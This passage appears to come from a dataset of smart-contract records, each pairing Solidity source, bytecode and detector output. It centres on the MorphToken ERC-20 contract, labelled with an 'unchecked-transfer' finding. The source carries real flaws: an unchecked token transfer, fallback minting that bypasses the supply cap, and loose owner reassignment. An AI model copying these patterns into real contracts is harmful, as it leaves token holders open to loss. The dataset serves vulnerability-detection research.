3a206275726e20616d6f756e7420657863656564732062616c616e81526020017f63650000000000000000000000000000000000000000000000000000000000008152506000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127179092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edd816002546126fe90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561205e576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f2565b61207183826126fe90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6121e88282611d0c565b6122df82336122da84606060405190810160405280602481526020017f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7781526020017f616e636500000000000000000000000000000000000000000000000000000000815250600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127179092919063ffffffff16565b6127d9565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561232057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561236d57600080fd5b6123be826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fe90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612451826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061259382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561270c57fe5b818303905092915050565b600083831115829015156127c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561278b578082015181840152602081019050612770565b50505050905090810190601f1680156127b85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156128a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561296f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a350505056fea165627a7a72305820e4082f857b981989b593d95df561a14b938558df776414e0a92684ae492f95c10029
|
{"success": true, "error": null, "results": {}}
| 4,474 |
0x5f2a09249a8cabcb8279f6f96c9cd1ad8b3f2e81
|
pragma solidity ^0.4.23;
/*
* Creator: Morpheus.Network (Morpheus.Network Classic)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Morpheus.Network token smart contract.
*/
contract MorphToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**5);
/**
* Address of the owner of this smart contract.
*/
address private owner;
address private developer;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 public tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function MorphToken () {
owner = 0x61a9e60157789b0d78e1540fbeab1ba16f4f0349;
developer=msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Morpheus.Network";
string constant public symbol = "MRPH";
uint8 constant public decimals = 4;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(address addr,uint256 _value)
returns (bool success) {
require (msg.sender == owner||msg.sender==developer);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [addr] = safeAdd (accounts [addr], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, addr, _value);
return true;
}
return false;
}
/**
* airdrop to other holders
*/
function airdrop (address[] addrs,uint256[]amount) returns(bool success){
if(addrs.length==amount.length)
for(uint256 i=0;i<addrs.length;i++){
createTokens(addrs[i],amount[i]);
}
return true;
}
/**
* airdrop to other holders
*/
function ()public payable{
uint256 weiAmount = msg.value;
uint256 _value=weiAmount/200000000;
if(_value > 0){
accounts[msg.sender] = safeAdd (accounts[msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
developer.transfer(msg.value);
}
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner||msg.sender==developer);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063015024601461026c57806306fdde0314610283578063095ea7b31461031357806313af40351461037857806318160ddd146103bb57806323b872dd146103e6578063313ce5671461046b57806331c420d41461049c57806367243482146104b357806370a082311461057457806389519c50146105cb57806395d89b41146106385780639f181b5e146106c8578063a69e894e146106f3578063a9059cbb14610758578063dd62ed3e146107bd578063e724529c14610834575b600080349150630bebc2008281151561010657fe5b04905060008111156102685761015a6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610883565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506101a860055482610883565b6005819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610266573d6000803e3d6000fd5b505b5050005b34801561027857600080fd5b506102816108a1565b005b34801561028f57600080fd5b5061029861095d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102d85780820151818401526020810190506102bd565b50505050905090810190601f1680156103055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031f57600080fd5b5061035e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610996565b604051808215151515815260200191505060405180910390f35b34801561038457600080fd5b506103b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109cc565b005b3480156103c757600080fd5b506103d0610ac4565b6040518082815260200191505060405180910390f35b3480156103f257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ace565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b50610480610b5c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104a857600080fd5b506104b1610b61565b005b3480156104bf57600080fd5b5061055a6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610c1c565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b506105b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c89565b6040518082815260200191505060405180910390f35b3480156105d757600080fd5b50610636600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd1565b005b34801561064457600080fd5b5061064d610ef1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068d578082015181840152602081019050610672565b50505050905090810190601f1680156106ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106d457600080fd5b506106dd610f2a565b6040518082815260200191505060405180910390f35b3480156106ff57600080fd5b5061073e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f30565b604051808215151515815260200191505060405180910390f35b34801561076457600080fd5b506107a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611111565b604051808215151515815260200191505060405180910390f35b3480156107c957600080fd5b5061081e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119d565b6040518082815260200191505060405180910390f35b34801561084057600080fd5b50610881600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611224565b005b600080828401905083811015151561089757fe5b8091505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108fd57600080fd5b600660009054906101000a900460ff16151561095b576001600660006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601081526020017f4d6f7270686575732e4e6574776f726b0000000000000000000000000000000081525081565b6000806109a3338561119d565b14806109af5750600082145b15156109ba57600080fd5b6109c48383611385565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a755750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a8057600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600554905090565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b2957600080fd5b600660009054906101000a900460ff1615610b475760009050610b55565b610b52848484611477565b90505b9392505050565b600481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bbd57600080fd5b600660009054906101000a900460ff1615610c1a576000600660006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b600080825184511415610c7e57600090505b8351811015610c7d57610c6f8482815181101515610c4857fe5b906020019060200201518483815181101515610c6057fe5b90602001906020020151610f30565b508080600101915050610c2e565b5b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2f57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610d6a57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e1057600080fd5b505af1158015610e24573d6000803e3d6000fd5b505050506040513d6020811015610e3a57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f4d5250480000000000000000000000000000000000000000000000000000000081525081565b60055481565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fdb5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610fe657600080fd5b6000821115611106576110016509184e72a00060055461185d565b821115611011576000905061110b565b6110596000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610883565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a760055483610883565b6005819055508273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061110b565b600090505b92915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561116c57600080fd5b600660009054906101000a900460ff161561118a5760009050611197565b6111948383611876565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156112bb57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114b457600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115415760009050611856565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115905760009050611856565b6000821180156115cc57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117ec57611657600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361185d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171f6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361185d565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a96000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610883565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561186b57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118b357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156119025760009050611ac2565b60008211801561193e57508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611a585761198b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361185d565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a156000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610883565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058201e5069a7ad4586ee2b91958a0ba5892a44cbc115ac06f0d4f68ee29e85c7deb40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,475 |
0xC0F7fAfad1061186aEf8117F1Fd82c4329208B35
|
/*
The Legendary Super Saiyan, when becoming enraged at the appearance and mention of Kakarot he proceeds to transform from Super Saiyan A-type into C-type Super Saiyan (with green hair) - back to A-type Super Saiyan - and then into Legendary Super Saiyan.
https://t.me/brolyinu
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
